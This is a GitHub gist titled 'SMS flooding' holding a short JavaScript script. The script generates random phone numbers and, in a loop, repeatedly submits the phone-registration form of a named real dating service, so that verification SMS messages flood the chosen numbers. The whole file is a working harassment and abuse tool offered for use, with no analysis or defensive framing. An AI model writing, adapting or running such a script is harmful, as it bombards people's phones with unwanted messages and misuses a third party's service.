Created
February 18, 2016 13:55
-
-
Save AgentCoop/c98b6ed84082a225510a to your computer and use it in GitHub Desktop.
SMS flooding
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
String.prototype.repeat= function(n){ | |
n = n || 1; | |
return Array(n+1).join(this); | |
} | |
function sleep(delay) { | |
var start = new Date().getTime(); | |
while (new Date().getTime() < start + delay); | |
} | |
function getRandomInt(min, max) { | |
var num = Math.floor(Math.random() * (max - min)) + min; | |
var n_leading_zeros = Math.floor(Math.log10(max)) - Math.floor(Math.log10(num)); | |
return [num, n_leading_zeros]; | |
} | |
function getRandomPhone() { | |
var phone = '29'; | |
var p1 = getRandomInt(1, 10); | |
var p2 = getRandomInt(1, 1000000); | |
return '29' + p1[0] + '0'.repeat(p2[1]) + p2[0]; | |
;} | |
function flood(phones, n) { | |
$.ajaxSetup({async:false}); | |
for (i = 0; i < n; i++) { | |
phones.forEach(function(tel) { | |
$.get('http://love.mail.ru/my/reg_successfull.phtml', {action:'newPhone',_:'1455794497863'}).done(function(res) { | |
$('input[name="tel"]').val(tel); | |
$('form[action="http://love.mail.ru/my/reg_successfull.phtml"]').submit(); | |
}); | |
sleep(3000) | |
}); | |
}; | |
} | |
flood([], 1); | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment